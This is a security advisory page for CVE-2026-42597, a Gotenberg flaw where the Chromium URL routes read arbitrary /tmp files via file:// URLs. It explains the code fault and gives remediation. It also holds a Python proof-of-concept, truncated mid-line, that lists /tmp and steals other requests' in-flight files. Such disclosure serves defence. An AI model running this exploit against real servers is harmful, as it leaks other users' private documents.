A AegiFlow
MEDIUMCVSS 5.9EPSS 0.3%

CVE-2026-42597

Gotenberg allows Chromium URL conversion routes to read arbitrary files under /tmp via file:// scheme

Published
2026-05-07
Modified
2026-07-21
EPSS percentile
17%
Aliases
GHSA-g924-cjx7-2rjw
Sources
github-advisory

Summary

## Summary The `/forms/chromium/convert/url` and `/forms/chromium/screenshot/url` routes accept `url=file:///tmp/...` from anonymous callers. The default Chromium deny-list intentionally exempts `file:///tmp/` so HTML/Markdown routes can load their own request-local assets, and those routes apply a per-request `AllowedFilePrefixes` guard to scope the read. The URL routes never set `AllowedFilePrefixes`, so the scope guard silently skips. Alice enumerates `/tmp/`, walks Gotenberg's per-request working directories, and reads the raw source files of other in-flight conversions as rendered PDF output. ## Details The default deny-list regex at `pkg/modules/chromium/chromium.go:449` uses a negative lookahead to exempt `/tmp/`: ```go fs.StringSlice("chromium-deny-list", []string{`^file:(?!//\/tmp/).*`}, "Set the denied URLs for Chromium using regular expressions - supports multiple values") ``` `pkg/gotenberg/outbound.go:185-187` short-circuits IP validation for non-HTTP schemes: ```go if !httpLikeScheme(parsed.Scheme) { return outboundDecision{}, nil } ``` So any `file:///tmp/...` URL passes `FilterOutboundURL` cleanly. The HTML route pairs the exemption with a per-request scope guard (`pkg/modules/chromium/routes.go:518`): ```go options.AllowedFilePrefixes = []string{ctx.DirPath()} ``` and the CDP `Fetch.requestPaused` handler enforces the scope (`pkg/modules/chromium/events.go:65-78`): ```go if allow && strings.HasPrefix(e.Request.URL, "file://") && len(options.allowedFilePrefixes) > 0 { prefixMatch := false for _, prefix := range options.allowedFilePrefixes { if strings.HasPrefix(e.Request.URL, "file://"+prefix) { prefixMatch = true break } } if !prefixMatch { allow = false } } ``` The `len(options.allowedFilePrefixes) > 0` condition skips the entire enforcement block when the slice is empty. The URL route handler at `pkg/modules/chromium/routes.go:406-448` (`convertUrlRoute`) never populates `AllowedFilePrefixes`. `MandatoryString("url", &url)` takes the form value without scheme validation and passes it to `convertUrl` → `chromium.Pdf` → Chromium navigation. Gotenberg stores uploaded request assets at `/tmp/ / / . ` (`pkg/gotenberg/fs.go:64-65`). Chromium renders the targeted `file://` URL as a PDF and the response body returns to the caller. ## Proof of Concept Reproduction uses the stock Docker image with no auth: ```bash docker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8 ``` Python script. Alice attacks, Bob runs a slow legitimate conversion whose request directory stays alive long enough for Alice to locate it. `waitDelay=15s` stands in for any naturally slow convert (large DOCX, multi-page HTML with external fetches, LibreOffice rendering a complex spreadsheet): ```python import requests, threading, time, subprocess, re TARGET = "http://localhost:3000" SECRET = f"BOB-CROSS-REQ-LEAK-{int(time.time())}" bob_html = f" {SECRET} ".encode() def bob_runs(): requests.post( f"{TARGET}/forms/chromium/convert/html", files={"files": ("index.html", bob_html, "text/html")}, data={"waitDelay": "15s"}, timeout=60, ) def alice_reads(url): r = requests.post( f"{TARGET}/forms/chromium/convert/url", files={"url": (None, url)}, timeout=30, ) if r.status_code != 200: return None open("/tmp/_alice.pdf", "wb").write(r.content) return subprocess.run( ["pdftotext", "/tmp/_alice.pdf", "-"], capture_output=True, text=True, ).stdout threading.Thread(target=bob_runs, daemon=True).start() time.sleep(2) # Step 1: list /tmp/ to discover the gotenberg work UUID tmp = alice_reads("file:///tmp/") work = re.search(r"([0-9a-f-]{36})", tmp).group(1) # Step 2: walk into the work dir to find an in-flight request dir wd = alice_reads(f"file:///tmp/{work}/") for req in re

Affected packages

EcosystemPackageAffected versionsFixed versions
Gogithub.com/gotenberg/gotenberg/v88.32.0
Gogithub.com/gotenberg/gotenberg/v7

Remediation: Upgrade to 8.32.0 or later.

References

Includes data from the GitHub Advisory Database, licensed under CC-BY 4.0.

CVE® is a registered trademark of The MITRE Corporation. CVE content reproduced under the CVE Terms of Use; copyright designation © MITRE.

EPSS scores provided by the FIRST.org Exploit Prediction Scoring System.